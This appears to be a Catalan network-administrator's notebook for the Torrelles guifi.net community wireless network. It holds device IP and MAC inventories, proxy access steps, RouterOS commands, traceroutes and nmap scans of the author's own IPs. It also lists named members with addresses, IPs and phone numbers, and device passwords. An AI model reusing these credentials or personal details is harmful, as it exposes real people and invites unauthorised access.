172.25.66.9 TDLTaborDipST3 172.25.66.11 AirOS = antena Can Coll NanoBeam PowerBeam M5 300 TDLCanCollNanoBeam1 10.138.238.1:3128 172.25.66.12 RouterOS = controlador Can Coll ST 10.138.238.1:3128

Cementiri te un controlador i tres antenes :

172.25.66.17 = TDLTaborDipST3 172.25.66.18 AirOS = antena Cementiri NanoBeam PowerBeam M5 300 TDLTaborNanoBeam2 10.138.238.1:3128 172.25.66.19 AirOS = antena Cementiri ST PowerBeam M5 300 TDLCementiriNanoBeam1 10.138.238.1:3128 172.25.66.20 = controlador Cementiri ST

El Campanar :

172.25.66.4 RouterOS = Campanar ST1 10.138.238.1:3128 172.25.33.18 AirOS ? Campanar RD3 172.25.33.22 AirOS ? Campanar RD4
Com accedir des un browser a una IP del rang "172.25.xx.xx" ?

Hem de posar al navegador el Proxy del super-node (controlador) al que ens conectem.
En el meu cas, 10.139.130.65:3128. Pel Tabor, 10.138.238.1:3128.

Per entrar un browser (des una IP com 10.139.130.117) a una antena amb una IP del rang "172.25.xx.xx" hem de fer servir un Proxy apuntant al controlador, al router :

IP TDLTaborDipRocketRD1 = 172.25.37.122 {AirOS} : proxy TDLTaborDipST3 = 10.138.238.1:3128 {RouterOS} [ok, 20170818] IP TDLTaborDipRocketRD2 = 172.25.38.190 {AirOS} : proxy TDLTaborDipST3 = 10.138.238.1:3128 {RouterOS} [ok, 20170818] IP TDLTaborDipRocketRD3 = 172.25.39.118 {AirOS} : proxy TDLTaborDipST3 = 10.138.238.1:3128 {RouterOS} [ok, 20170818]
MAC ALC
MAC ACL

Només n'hi ha a les antenes noves.
És troba a les "DipRocket", solapa "Wireless", "MAC ACL Activar" a baix de tot.

Com veure qui (IP + MAC) hi ha conectat a un controlador en un moment
IPs de les antenes - AirOS

Tenim AirOS a

Dispositivo MAC SSID gateway 172.25.33.10 Campanar AP1 - TDLCampanarRocketRd1 44:D9:E7:44:DF:EE guifi.net-TDLCmpnrAP1 172.25.33.9 172.25.33.14 Campanar AP2 - TDLCampanarRocketRd2 44:D9:E7:52:B0:42 guifi.net-TDLCmpnrAP2 172.25.33.13 172.25.33.18 Campanar AP3 - TDLCampanarRocketRd3 00:27:22:9A:5E:FA guifi.net-TDLCmpnrAP3 172.25.33.17 172.25.33.22 Campanar AP4 - TDLCampanarRocketRd4 24:A4:3C:46:0F:6F guifi.net-TDLCmpnrAP4 172.25.33.21 172.25.37.122 Tabor AP1 - TDLTaborDipRocketRd1 04:18:D6:EC:7B:F2 xarxaTorrelles-TaborAP1 172.25.37.121 172.25.38.190 Tabor AP2 - TDLTaborDipRocketRd2 44:D9:E7:52:B0:27 xarxaTorrelles-TaborAP2 172.25.38.189 172.25.39.118 Tabor AP3 - TDLTaborDipRocketRd3 44:D9:E7:52:B2:15 xarxaTorrelles-TaborAP3 172.25.39.117 172.25.66.11 Can Coll TDLCanCollNanoBeam1 24:A4:3C:82:03:45 guifi.net-wds-TDLCanColl-Tabor 172.25.66.9 172.25.66.18 Cementiri NB2 TDLTaborNanoBeam2 24:A4:3C:82:04:DF guifi.net-wds-TDLCementiri-Tabor 172.25.66.17 172.25.66.19 Cementiri NB1 . . . .
Eina guifi : scan IPs de les antenes via proxy

Fem un wget() de una llista de IPs :

w500\\rexx\guifi\wget_amb_proxy\wget_llista> rexx doit.rexx IPS.TXT [ 172.25.33.10 ] RC is 0 + ++++ A (172.25.33.10) hi tenim un AIROS - una antena. [ 172.25.33.14 ] RC is 0 + ++++ A (172.25.33.14) hi tenim un AIROS - una antena. [ 172.25.33.18 ] RC is 0 + ++++ A (172.25.33.18) hi tenim un AIROS - una antena. [ 172.25.33.22 ] RC is 0 + ++++ A (172.25.33.22) hi tenim un AIROS - una antena. [ 172.25.37.122 ] RC is 0 + ++++ A (172.25.37.122) hi tenim un AIROS - una antena. [ 172.25.38.190 ] RC is 0 + ++++ A (172.25.38.190) hi tenim un AIROS - una antena. [ 172.25.39.118 ] RC is 0 + ++++ A (172.25.39.118) hi tenim un AIROS - una antena. [ 172.25.66.11 ] RC is 0 + ++++ A (172.25.66.11) hi tenim un AIROS - una antena. [ 172.25.66.18 ] RC is 0 + ++++ A (172.25.66.18) hi tenim un AIROS - una antena. [ 172.25.66.19 ] RC is 4 +

Al "punt-omnia" tenim

/home/mate/eines/rexx/scan_guifi$ ./do.sh - wget IPs from IPS.txt
Eina guifi : scan de les IPs dels Super Nodes de Torrelles

Eina en Delphi :

w500\\delphi_xe7\guifi_ping\pingguifi-64bit.exe
Eina guifi : scan IPs dels Usuaris que paguen
T60\\/home/sebas/node_projects/timer entrada.json Ping a una IP cada 4 segons (hi ha 46 IPs : 14 super-nodes i 32 clients) Fem una pagina HTML cada 3 minuts La copiem via FTP cada 5 minuts Pagina 192.168.1.123:3001, també a guifi 10.139.130.117:3002 https://torrelles-guifi.000webhostapp.com/pagina.html - pagina copiada al exterior via FTP github timer - repositori del software
IPs dels controladors - RouterOS WebFig

Tenim un "RouterOS WebFig v6.38.1" a

10.139.130.65 = 192.168.1.254 = TDLCampanarST1 E4:8D:8C:0A:3D:8F 10.139.130.97 = 192.168.1.254 = TDLCampanarST1 E4:8D:8C:0A:3D:8F 10.139.130.129 = = guifi.net-TDLTaborDipAP2 00:0C:42:61:A2:5C 172.25.51.182 DipST1 00:0C:42:79:B8:C1 10.139.130.161 = = guifi.net-TDLLCmntrAP1 00:0C:42:61:A5:AC 172.25.66.20 TDLLCementiriST 00:0C:42:2F:C9:0C 10.139.130.193 = 172.25.66.12 = TDLCanCollST 10.139.130.225 = 172.25.66.12 = TDLCanCollST 10.139.238.33 10.139.238.65 10.139.238.97 10.139.238.129 10.139.238.161 Cementiri AP2 10.139.238.225 10.139.239.65 10.139.239.97 172.25.33.9 172.25.33.13 172.25.33.17 172.25.33.21 172.25.37.121 172.25.38.189 172.25.39.117 172.25.51.177 172.25.51.181 172.25.51.182 * 172.25.66.1 172.25.66.4 172.25.66.9 172.25.66.12 * 172.25.66.17 172.25.66.20 *

Manual & TOC

Terminal commands
[xarxa@TDLCampanarST1] > .. -- up one level / -- go to base level beep -- blink -- caps-man -- certificate -- Certificate management console -- delay -- does nothing for a while disk -- do -- executes command driver -- Driver management environment -- list of all variables error -- make error value execute -- run script as separate console job file -- Local router file storage. find -- Find items by value for -- executes command for a range of integer values foreach -- executes command for every element in a list global -- set value global variable if -- executes command if condition is true import -- interface -- Interface configuration ip -- IP options ipv6 -- lcd -- len -- return number of elements in value local -- set value of local variable log -- System logs mpls -- nothing -- do nothing and return nothing parse -- build command from text partitions -- password -- Change password pick -- return range of string characters or array values ping -- Send ICMP Echo packets port -- Serial ports ppp -- Point to Point Protocol put -- prints argument on the screen queue -- Bandwidth management quit -- Quit console radius -- Radius client settings redo -- Redo previously undone action resolve -- perform a dns lookup of domain name return -- return value from function routing -- set -- Change item properties setup -- Do basic setup of system snmp -- SNMP settings special-login -- Special login users system -- terminal -- commands related to terminal handling time -- returns time taken by command to execute toarray -- convert argument to array value tobool -- convert argument to truth value toid -- convert argument to internal number value toip -- convert argument to IP address value toip6 -- convert argument to IPv6 address value tonum -- convert argument to integer number value tool -- Diagnostics tools tostr -- convert argument to string value totime -- convert argument to time interval value typeof -- return type of value undo -- Undo previous action user -- User management while -- executes command while condition is true export -- Print or save an export script that can be used to restore configuration

Sota de ip tenim:

[xarxa@TDLCampanarST1] /ip> .. -- go up to root accounting -- Traffic accounting address -- Address management arp -- ARP entries management cloud -- dhcp-client -- DHCP client settings dhcp-relay -- DHCP relay settings dhcp-server -- DHCP server settings dns -- DNS settings firewall -- Firewall management hotspot -- HotSpot servers management ipsec -- IP security neighbor -- Neighbors packing -- Packet packing settings pool -- IP address pool proxy -- route -- Route management service -- IP services settings -- smb -- socks -- SOCKS version 4 proxy ssh -- SSH settings tftp -- TFTP traffic-flow -- upnp -- Universal Plug and Play export -- Print or save an export script that can be used to restore configuration

Quatre comandes que funcionen :

/user print ; /ip service print /ip firewall filter print /ip firewall address-list print ; llista interessant /interface wireless access-list print ; pensava que "MAC ACL" seria aqui, pero no /ip firewall filter add chain=forward src-mac-address=aa:bb:cc:dd:ee:ff action=drop ; aqui hi ha una MAC
Fibra Óptica de guifi.torrelles

En Josep Munmany de l'Ajuntament sap on és el ruter {tf 637 55 77 01, te la IP 10.139.238.131 de guifi pero no es soci}
El tf fixe és el 93 461 34 15 i s'administra amb Alejandra
Tambe url(192.168.1.1) amb proxy(10.139.130.65:3128)

El campanar és d'en Mossen Juan Antonio Vargas, [618 354 530], però les claus son a l'Ajuntament.

ruta cap l'exterior
[2017] c:\> tracert -d 8.8.8.8 Tracing route to 8.8.8.8 over a maximum of 30 hops 1 1 ms 1 ms 1 ms 192.168.1.1 2 2 ms 2 ms 2 ms 10.139.130.97 Campanar ST2/AP3 3 * * * Request timed out. 4 4 ms 4 ms 5 ms 81.46.38.176 176.red-81-46-38.customer.static.ccgg.telefonica.net 5 18 ms 17 ms 15 ms 81.46.44.33 33.red-81-46-44.customer.static.ccgg.telefonica.net 6 * * * Request timed out. 7 * 13 ms 13 ms 80.58.106.13 13.red-80-58-106.staticip.rima-tde.net 8 14 ms 13 ms 13 ms 176.52.253.97 9 14 ms 14 ms 14 ms 5.53.1.82 10 14 ms 14 ms 14 ms 72.14.232.191 11 15 ms 15 ms 15 ms 216.239.48.105 12 14 ms 17 ms 14 ms 8.8.8.8 google-public-dns-a.google.com Trace complete.

Ara amb noms, via Castefa (crec) :

[2016] c:\> tracert -d -h 20 1.2.3.4 Tracing route to 1.2.3.4 over a maximum of 20 hops 1 <1 ms <1 ms <1 ms 192.168.2.1 router.belkin 2 4 ms 4 ms 4 ms 192.168.1.1 nano 3 6 ms 5 ms 4 ms 10.139.130.65 default GW per 192.168.130.69 (my-WLAN-IP), Campanar AP1 4 5 ms 5 ms 5 ms 10.139.130.97 Campanar AP3 5 8 ms 8 ms 6 ms 172.25.66.1 MikroTik RouterOS v6.27 6 9 ms 6 ms 6 ms 172.25.51.178 MikroTik RouterOS v6.27 7 8 ms 8 ms 7 ms 192.168.4.1 MikroTik RouterOS v6.33.5 8 8 ms 8 ms 12 ms 192.168.3.1 MikroTik RouterOS v6.33.5 9 10 ms 14 ms 12 ms 80.58.67.116 116.Red-80-58-67.staticIP.rima-tde.net 10 13 ms 15 ms 16 ms 80.58.118.249 249.Red-80-58-118.staticIP.rima-tde.net 11 18 ms 17 ms 13 ms 80.58.81.50 50.Red-80-58-81.staticIP.rima-tde.net 12 12 ms 13 ms 20 ms 213.140.50.244 13 46 ms 38 ms 37 ms 5.53.6.246 xe3-0-0-0-grtpareq2.net.telefonicaglobalsolutions.com 14 113 ms 112 ms 112 ms 5.53.6.145 xe3-1-1-0-grtwaseq6.net.telefonicaglobalsolutions.com 15 115 ms 114 ms 117 ms 84.16.9.146 google-xe3-1-3-0-grtwaseq2.red.telefonica-wholesale.net 16 116 ms 114 ms 114 ms 65.210.126.78

Via AP3 () :

c:\> tracert -d -h 20 8.8.4.4 Tracing route to 8.8.4.4 over a maximum of 30 hops 1 4 ms 5 ms 3 ms 192.168.1.1 2 6 ms 5 ms 5 ms 10.139.130.97 3 6 ms 7 ms 6 ms 172.25.66.1 4 8 ms 7 ms 7 ms 172.25.51.178 5 9 ms 9 ms 21 ms 192.168.4.1 6 * * * Request timed out. 7 * 11 ms 10 ms 80.58.67.116 8 13 ms 17 ms 12 ms 80.58.85.117 9 * * * Request timed out.

Amb Tor (???):

c:\> tracert -d -h 20 www.google.com Tracing route to www.google.com [216.58.210.164] over a maximum of 30 hops: 1 <1 ms <1 ms <1 ms 192.168.2.1 2 18 ms 5 ms 12 ms 192.168.1.1 3 27 ms 30 ms 47 ms 10.139.130.65 4 134 ms 94 ms 76 ms 10.139.130.97 5 140 ms 130 ms 117 ms 172.25.66.1 6 44 ms 14 ms 27 ms 172.25.51.178 7 45 ms 97 ms 77 ms 192.168.4.1 8 50 ms 68 ms 97 ms 192.168.3.1 9 130 ms 134 ms 112 ms 80.58.67.116 10 104 ms 107 ms * 80.58.85.117 11 108 ms 136 ms 96 ms 80.58.106.13 12 113 ms 64 ms 52 ms 176.52.253.97 13 28 ms 37 ms 64 ms 5.53.1.82 14 141 ms 102 ms 131 ms 209.85.252.150 15 71 ms 117 ms 80 ms 216.239.50.27 16 131 ms 38 ms 51 ms 216.58.210.164 Trace complete.

Des la biblioteca

c:\> tracert -d -h 20 8.8.4.4 Tracing route to 8.8.4.4 over a maximum of 30 hops 1 * * * Request timed out. 2 4 ms 2 ms 2 ms 192.168.5.1 3 3 ms 2 ms 2 ms 192.168.10.9 4 49 ms 49 ms 49 ms 80.58.67.116 5 54 ms 49 ms 51 ms 80.58.88.221 6 * * * Request timed out. 7 * * * Request timed out.
ruta des l'exterior
c:\> tracert 2.136.45.31 Tracing route to 31.Red-2-136-45.dynamicIP.rima-tde.net [2.136.45.31] over a maximum of 30 hops: 1 <1 ms <1 ms <1 ms 213.229.144.193 2 3 ms 3 ms 3 ms 212.74.84.215 3 11 ms 10 ms 10 ms te0-3-0-0-pr1.MAD.router.colt.net [212.74.87.17] 4 9 ms 9 ms 9 ms 195.95.153.1 5 20 ms 19 ms 19 ms 166.Red-80-58-106.staticIP.rima-tde.net [80.58.106.166] 6 18 ms 18 ms 18 ms 118.Red-80-58-85.staticIP.rima-tde.net [80.58.85.118] 7 20 ms 20 ms 19 ms 31.Red-2-136-45.dynamicIP.rima-tde.net [2.136.45.31] Trace complete.

No m'arriba. A veure ara :

c:\> tracert 10.139.130.69
Amunt! Top Amunt!
nodes / IPs / usuaris / emails

Esquema Torrelles.

nom / email node nom node / IP connected to (gw) / ip mac dades OS doc
Albert Romagosa 80963 CanColl1bajo 10.139.239.69 TDLTaborDipRocketRd2 10.139.239.65 04.18.D6.62.98.7B hw - Can Coll, 1. Ex 10.139.130.152/10.139.130.129 [u/u] +
Aleix Fernandez Cols 94569 TDL Montserrat Roig 14 10.139.130.121 Campanar AP3 10.139.130.97        
Baldiri Roig Casas 34787 Can Coll 24 10.139.238.231 Tabor RD1 10.139.238.225   Ex 10.139.130.153/10.139.130.129    
Boi Roig Roig 46204 Olivereta 2a 10.139.130.131 Tabor Dip AP1 10.139.130.129        
Carles Roig Cabello 32001 TDLfcoromines42 10.139.238.130 Tabor ST1 AP3 10.139.238.129        
Carles Segura 32887 TDLcarrer211 10.139.238.132 TDL ST1 AP3 10.139.238.129 80.2A.A8.08.15.54 carrer 21, num 1. [own/own] +
Carlos Cornella 72720 TDLMontserratroig22a 10.139.239.66 TDLTaborDipRocketRd2 RD1/AP2 10.139.239.65   hw. Ex TDL Montserrat Roig 22 = 10.139.238.143, 38230 [r/g] v 5.6.6 +
Diego Guiz 79071 (?) TDLSantMarti2 10.139.238.77 Campanar AP4 10.139.238.65        
Edgar-Senen Ramon Hernandez 85296 TDLOliveretaEd 10.139.238.226 Tabor Dip Rocket Rd1 10.139.238.225   Ex TDLOlivereta2 46327, 10.139.238.152. Olivereta2 93338 10.139.238.227    
Eric Palet 78748 TDLSantPau25 10.139.130.119 Campanar AP3 10.139.130.97   Ex 10.139.130.79/10.139.130.65    
Gabriel Ramoneda 32794 TDLSantPau6b 10.139.130.99 Campanar AP3 10.139.130.97 (80:2A:A8:74:43:92)      
Jaume Noel Juncosa 35786 TDLAvTorrellestessn 10.139.239.100 Tabor RD1 AP3 10.139.239.97   Ex 10.139.130.154/10.139.130.129    
Joaquim Travesset 38034 TDLBellavista18 10.139.130.230 Can Coll AP2 10.139.130.225        
Jordi Buzon 32747 TDLfcoromines15Rd1 10.139.239.67 TDLTaborDipRocketRd2 RD1/AP2 10.139.239.65   distancias. Ex 10.139.238.114/10.139.238.97 [u/m] +
Jordi Travesset 38414 TDLTabor38 10.139.130.72 Campanar AP1 10.139.130.65 (00:27:22:14:1D:33) displays as UBNT    
Jose Luis Lobato Fernandez 98587 TDLLaPlana2B 10.139.130.228 Can Coll AP2 10.139.130.225        
Josep Manel Andreu, Herbolari Sajolida 79881 TDLRafaelCasanova20 10.139.130.116 Campanar AP3 10.139.130.97   hw - TP link. Gloria [?] +
Josep Montserrat Jorda 42218 TDLMasGelat21 10.139.238.74 Campanar AP4 10.139.238.65        
Josep Vico 50588 TDLSantJoan24 10.139.130.102 Campanar AP3 10.139.130.97        
Lluis Mabilon Martinez 32889 TDLMajor65 10.139.130.100 Campanar AP3 10.139.130.97   hw - EVO-W54, router. TP-Link TL-SG108E switch [u/u] v 4.0 +
Lourdes Capella Llovera 37561 TDLCanNicolau 10.139.130.136 Tabor Dip AP1 10.139.130.129        
Meritxell Llorente Briones 77640 TDLGuell2428 10.139.238.180 Cementiri AP2 10.139.238.161        
Miguel Angel Torres Egea, "Mate" nnnnn TDLSantMarti2Rd5 10.139.238.228 Tabor Dip Rocket Rd1 10.139.238.225   Ex TDLSantMarti2, 79071 10.139.239.68/10.139.239.65    
Miguel Angel Gomez Siurana 51781 TDLMontpedros31 10.139.238.229 Tabor RD1/AP1 10.139.238.225   Ex 10.139.238.113/10.139.238.97    
Moises Potrony 33189 TDLSantJoan7 10.139.130.113 Campanar AP3 10.139.130.97 (00:15:6D:3A:54:C2)      
Montse Leal Murcia 99732 TDLAvQuatre43b 10.139.239.101 Tabor RD1/AP3 10.139.239.97 F0.9F.C2.96.03.52      
Quises Arruga Vilalta 35542 TDLMajor47 10.139.130.103 Campanar AP3 10.139.130.97 (DC:9F:DB:36:B3:36)      
Rafael Garcia Mesas 33785 TDLSegonaAv43AE 10.139.238.167 Cementiri AP2 10.139.238.161        
Rafael Ruiz Mansilla 40328 TDLMasGelat19 10.139.238.109 Tabor Dip ST1/AP2 10.139.238.97        
Sebastia Altemir 33491 NodeSebastiaNetRd1 10.139.130.117 Campanar AP3 10.139.130.97 (44:D9:E7:7E:6F:FA) hw. Ex NodeSebastiaNet = 10.139.130.69/10.139.130.65 [u/-] +
Simo Garcia Aguerri 34143 TDLSantPere 5 10.139.238.36 Campanar AP2 10.139.238.33 (00:15:6D:B0:2B:70)      
Toni Luna 34780 TDLcarrer427 10.139.238.169 Campanar AP2 10.139.238.161        
 
  37124 TDLCirerers21b 10.139.130.71 TDLCmpnrAP1 10.139.130.65 (04:18:D6:2A:E0:99)      
  42304 TDLFCoromines23 10.139.130.74/ TDLCmpnrAP1 10.139.130.65        
  54501 TDLcarrer2111 10.139.239.102 TDL RD1 AP3 10.139.239.97 80.2A.A8.08.15.54 carrer 21, num 11.    
  32189 TDLBellavista3 10.139.238.123 TDL Tabor ST1 AP2 10.139.238.97 . carrer Bellavista 2    
  68938 Av.cuarta 69 10.139.238.146 TDL Tabor ST1 AP3 10.139.238.129 ? . Avinguda Cuarta, 69    
  34037 Can Coll 21 10.139.130.138 TDL Tabor ST1 AP1 10.139.238.129 . Can Coll 21    
 
Matias Fescina 65523 TDLcarrer288 10.139.238.179 Cementiri AP2 10.139.238.161     [-]  
Miguel Angel Gomez Siurana 51781 TDLMontpedros31Rd4 10.139.238.147 Tabor AP1 10.139.130.129   Prob ubicacio ? Ex TDLMontpedros31 = 10.139.238.113    
Nuria Massons i Solano 35543 TDLcarrer328 10.139.238.175 TDLLCmntrAP2 10.139.238.161   carrer 32, 8 - Can Güell [r/g] v 3.5  
Pere Olle 33289 TDLJoanXXIII15 10.139.130.135 TDLTaborDipAP1 10.139.130.129   Joan XXIII, 15 [-]  
Ramon Ros Gorne 77987 TDLFntdlBrc14 10.139.130.203 Can Coll AP1 10.139.130.193     [?] .
Daniel Gonzalez Vaz-Romero

La "mask" a Torrelles sempre és 255.255.255.224, "FF.FF.FF.E0" !

Els DNS de Torrelles son : 31999, TDLLPuntOmnia / 10.139.238.194 i 30626, TDLAjuntamentSrvr1 / 10.139.130.34

Els proxy de Torrelles son 30627, TDLAjuntamentSrvr1 i 32000, TDLLPuntOmnia {22900 ?}

També tenim 2 "SNP graph server" : 31998, TDLLPuntOmnia (url) i 30628, TDLAjuntamentSrvr1 (url)

Servidors NT (10.228.203.104)

Nodes de amics

E1001 Jordi.

Mele, 10.139.202.202/27

RiuMorell a RiuMar, Agusti : a Riumar no utilizem Nanostations sino SXT 5HPnD a 5 Ghz de Mikrotik. Pots connectar-te a la xarxa amb un sencill scan desde l'antena. Forum Mikrotik.

Mario Figueres Casanova, tf 636.878.611 (ebre.cat)

Comunitat Lluis (201709) : Instalador : Tecnosistems - Mario. Carrer Bonaire 66. 43740 Mora d'Ebre. 628 368 728 o 693 573 415, email.
Conexio : Eurona Wireless Telecom S.A. - carrer Agricultura, 106. 08019 Barcelona. Tf 901 444 888, email, homepage

Node Lluis Crespo

Ino

Node Toni, a L'Ampolla , Marti Batalla
Millor contactar directament amb la oficina dels mantenidors de l'antena a la qual et vols connectar : Delinternet Telecom, 877 990 500 o 600 606 570.
Associació d'usuaris Guifi de les Terres de l'Ebre, email, tf 977 44 28 23 / 636 11 13 84

A la zona que em comentes, nosaltres no tenim cobertura. Hauries de parlar en l'empresa ebrecom que si que en té - tf 977 077 422, info@ebrecom.com, c Jaume Ferran i Clua número 3, Tortosa 43500 Tarragona

L'antena ha de ser Ubiquiti AC, recomanem Ubiquiti PBE-5AC-400. El router TP-Link WR841N. Per a que funcioni la nostra connexió posem un firmware peronalitzat al router, basat en OpenWRT. Per tenir accés a Internet de franc no hi ha cap opció en aquesta zona. Per connectar-se al node hi ha un apadrinament obligatori de 20€ mensuals que ja inclouen la connexió a Internet de fins a 20Mbps simètrics.

Punt Omnia

A la IP 10.139.238.194 hi ha el proxy de la xarxa guifi de Torrelles. És el node 31847

Dades del "proxy"

Parc de Can Sostres, 1er pis ; 93.689.0291, torrelles@xarxaomnia.gencat.cat

Proxy = proxy.torrelles.guifi.net:3128, ip = 10.139.130.34. Proxy Type = HTTP {no SOCKS}.
Punt Omnia = 10.139.238.194:3128. Tercer proxy : 10.138.27.163

Mode "sense proxy"

Des Juny de 2014 no cal posar proxy als usuaris que paguem. Funciona el FTP de conya.

Reconstrucció hw/sw
Hardware
[ Punt Omnia ] | .--- CPU : Intel Core2 Duo @ 1,20 GHz, System-Bus a 800 MHz, L2 cache 2 MB, Intel EM64T | .--- RAM : 2 GB, 2 plaques de 1 GB, 4 ranures | .--- HD : Maxtor 40 GB ATA 2F040J0 Primary IDE Master / (Fujitsu 250 GB MHZ2250C - SCSI1) / (SCSI SeaGate ST3250318A, 250 GB - SCSI3) | .--- DVD : ( ATAPI on Primary IDE Master ) | .--- USB : v 2.0 | .--- Network --.-- enp3s0f0 : Intel 82573 Gigabit Ethernet controller | | | .-- enp4s5 : Intel 82541GI Gigabit Ethernet controller | .--- VDU : |

Hi ha problemes amb els discs SCSI - que fem ?

BIOS
Software
Router Comtrend CT-536+

En Jordi em deixa un router Comtrend HG536+ o CT-536+ {nov 2010}

192.168.1.1 User: admin. Password: admin. MAC: 01:15:F2:EB:53:2B ;

Com que la NS5 agafa 192.168.1.1 ... doncs li posem 192.168.1.2 al router !
Li dones la ip per ex: 192.168.1.2 al comtrend i li poses els dns 192.168.1.1 (nano), desactives el dhcp del comtrend i deixes activat el de la nano. Despres has de anar a l'apartat quality of service del comtrend i eliminar el que hi ha, per tal de poder utilitzar els 4 ports lan, ja que dos son per iptv i hg. {ignasiferrer@guifi.net}
imatge.

Ports especials (2)
No es necesario que metas ningún firmware anterior. Simplemente has de entrar en la configuración del router > Advanced Setup > Wan y verás 2 conexiones. Deja la pppoe_8_35 y borra la otra. En cuanto salves los cambios y rebotes el router, tendrás los puertos 3 y 4 listos para funcionar con normalidad. Consejo: si haces un backup del router antes de eliminar esa conexión wan, siempre podrás restaurar el router a su punto inicial. Te lo digo por si más adelante quisieras usar tv o voip.

Router ZyXEL P660HW-D1 (timofònica)

20150106 : mac = 40.4A.03.AF.5B.FB

Per guifi:

Tron diu :
Tens de entrar per navegador en la pestanya LAN/LAN Setup/DCHP. A TCP/IP s'ha de posar 192.168.1.2 amb la mascara 255.255.255.0, la seguent opció en "Both", la de sota en "RIP-2B" i la última en "IGMP-v2".

Firmware original (no "capat" per tfca) : pàgina del fabricant.

Reset to factory settings

With the router powered on, push "Reset" micro-button for about 30 seconds.

Default user/pwd = 1234/1234 ;

guifi.net configuration (Zyxel)
guifi.net configuration (W7)
servei de Internet - my IPs

Tools : Web Tool Hub, Proxy Server Privacy, Checking Tools

201506 - xarxa detectada :

Proxy: No Proxy Detected City: Barcelona State/Region: Catalonia Country: ES - es flag ISP: Adamo Telecom Iberia S.A. Your IP: 91.126.241.136

NetCraft i nmap :

c:\> nmap 91.126.241.136 Starting Nmap 6.47 ( http://nmap.org ) at 2015-05-18 10:31 Romance Daylight Time Nmap scan report for cli-5b7ef188.bcn.adamo.es (91.126.241.136) Host is up (0.086s latency). Not shown: 990 closed ports PORT STATE SERVICE 21/tcp open ftp 23/tcp open telnet 53/tcp filtered domain 80/tcp open http 81/tcp open hosts2-ns 1723/tcp open pptp 2000/tcp open cisco-sccp 3389/tcp open ms-wbt-server 8080/tcp open http-proxy 8291/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 22.69 seconds

201507 - 88.0.20.17

c:\> nmap 88.0.20.17 Starting Nmap 6.47 ( http://nmap.org ) at 2015-09-17 10:31 Romance Daylight Time Nmap scan report for 17.Red-88-0-20.dynamicIP.rima-tde.net (88.0.20.17) Host is up (0.041s latency). Not shown: 970 filtered ports, 28 closed ports PORT STATE SERVICE 80/tcp open http 1723/tcp open pptp Nmap done: 1 IP address (1 host up) scanned in 10.97 seconds

20151209 - 2.136.45.31

ISP: Telefonica De Espana Sau Host Name: 31.Red-2-136-45.dynamicIP.rima-tde.net c:\> nmap 2.136.45.31 Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 11:40 Romance Standard Time Nmap scan report for 31.Red-2-136-45.dynamicIP.rima-tde.net (2.136.45.31) Host is up (0.015s latency). Not shown: 991 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 53/tcp open domain 80/tcp open http 443/tcp open https 1723/tcp open pptp 2000/tcp open cisco-sccp 8291/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 1.31 seconds

20160107 - 81.32.151.177. Using Tor I get 216.17.99.183, then 158.130.0.242 in 3 minutes.

seguiment myIP i velocitat a guifi

SpeedTest o WhatIsMyIP diu :

20160127 - 79.146.202.160 20160128 - 2.136.29.12 20160208 - 83.45.118.50 20160215 - 88.0.100.141 20160216 - 2.136.44.79 20160220 - 88.0.20.146 20160225 - 88.0.20.146 20160229 - 88.13.163.125 20160304 - 88.13.163.125 20160307 - 80.35.139.210 {biblio} 20160307 - 2.137.95.105 20160311 - 2.137.95.105 20160311 - 83.39.4.73 20160316 - 83.39.4.73 20160318 - 80.35.139.210 {biblio}, 4,12 Mbps de baixada, 0 de pujada 20160322 - 83.40.227.38 20160518 - 83.36.141.31 20161130 - 79.158.4.38 20170201 - 83.47.187.198 20170622 - 79.157.162.3, 85 Mbps down, 32 Mbps up 20171022 - 80.29.33.63, 12/14
SAG @ guifi.net

My Doc : T430\\MisCosas\Guifi.net\ o W500\\miscosas\guifi guifi_a_Torrelles_sag.docx {sagpdf} Guifi_at_Torrelles.doc 2
Albert Homs.

20101108 - compro una NanoStation 5 "loco",i NS5 from now on

Antena client wifi 5 GHz nanostation5 loco; 13 dBi, 150 mW, 5 GHz, 802.11 a, 54 Mbps, 10 Km range.
TX Power: max. 24dBm, +/-2dB ; RX Sensitivity: min. -94dBm +/-2dB
WimaCom 65 € amb IVA ; Cilctel 68 € - [2x PLC = 80 €] ; Setup Informatica 78 € ;

Default IP = 192.168.1.20 ;
usr/pwd = ubnt (root/guifi after OneTouch cfg, file "unsolclick.cfg"; also nano5's IP is 192.168.1.1 after this moment, so you'd better change router IP to 192.168.1.2);
OpSys = AiROS v 3.5 ; MAC = (1012L) 00:15:6D:18:C8:95 ;

El fitxer de configuracio de la NS5 s'agafa d'aqui : anar al node, escollir solapa "Trastos", escollir "unsolclic" i obrir enllaç.

Tot el que es pot fer amb una NanoStation loco ("2" o "5") ... Acacha [*****] - all menus, IP (192.168.1.20), etc etc

NS@guifi ; Forums (cat). Proxy's. Users.

El meu node és el 33491 i soc el usuari 14116.
La meva IP interna : 10.139.130.69/27 al AP1 del Campanar. (GateWay 10.139.130.65, DNS 10.139.130.34).
{20160307} IP 10.139.130.117/27 al AP3 del Campanar {gw 10.139.130.97}

Detalls TCP/IP de casa
Equip MAC IP usr/pwd Nano-5 00:15:6D:19:C8:95 192.168.1.1 admin/admin Zyxel 40:4A:03:B1:DB:98 192.168.1.2 TP sag 00:22:68:1F:D0:E4 lan 192.168.1.99 00:21:6A:B6:CD:56 wifi TP io lan TP nav lan 00:10:A7:2C:42:1A wifi TP aav 00:16:36:A7:9E:B2 lan 00:1A:73:03:18:45 wifi TP iav 00:23:8B:12:3E:30 lan 00:21:5D:4C:3E:D0 wifi
my MACs
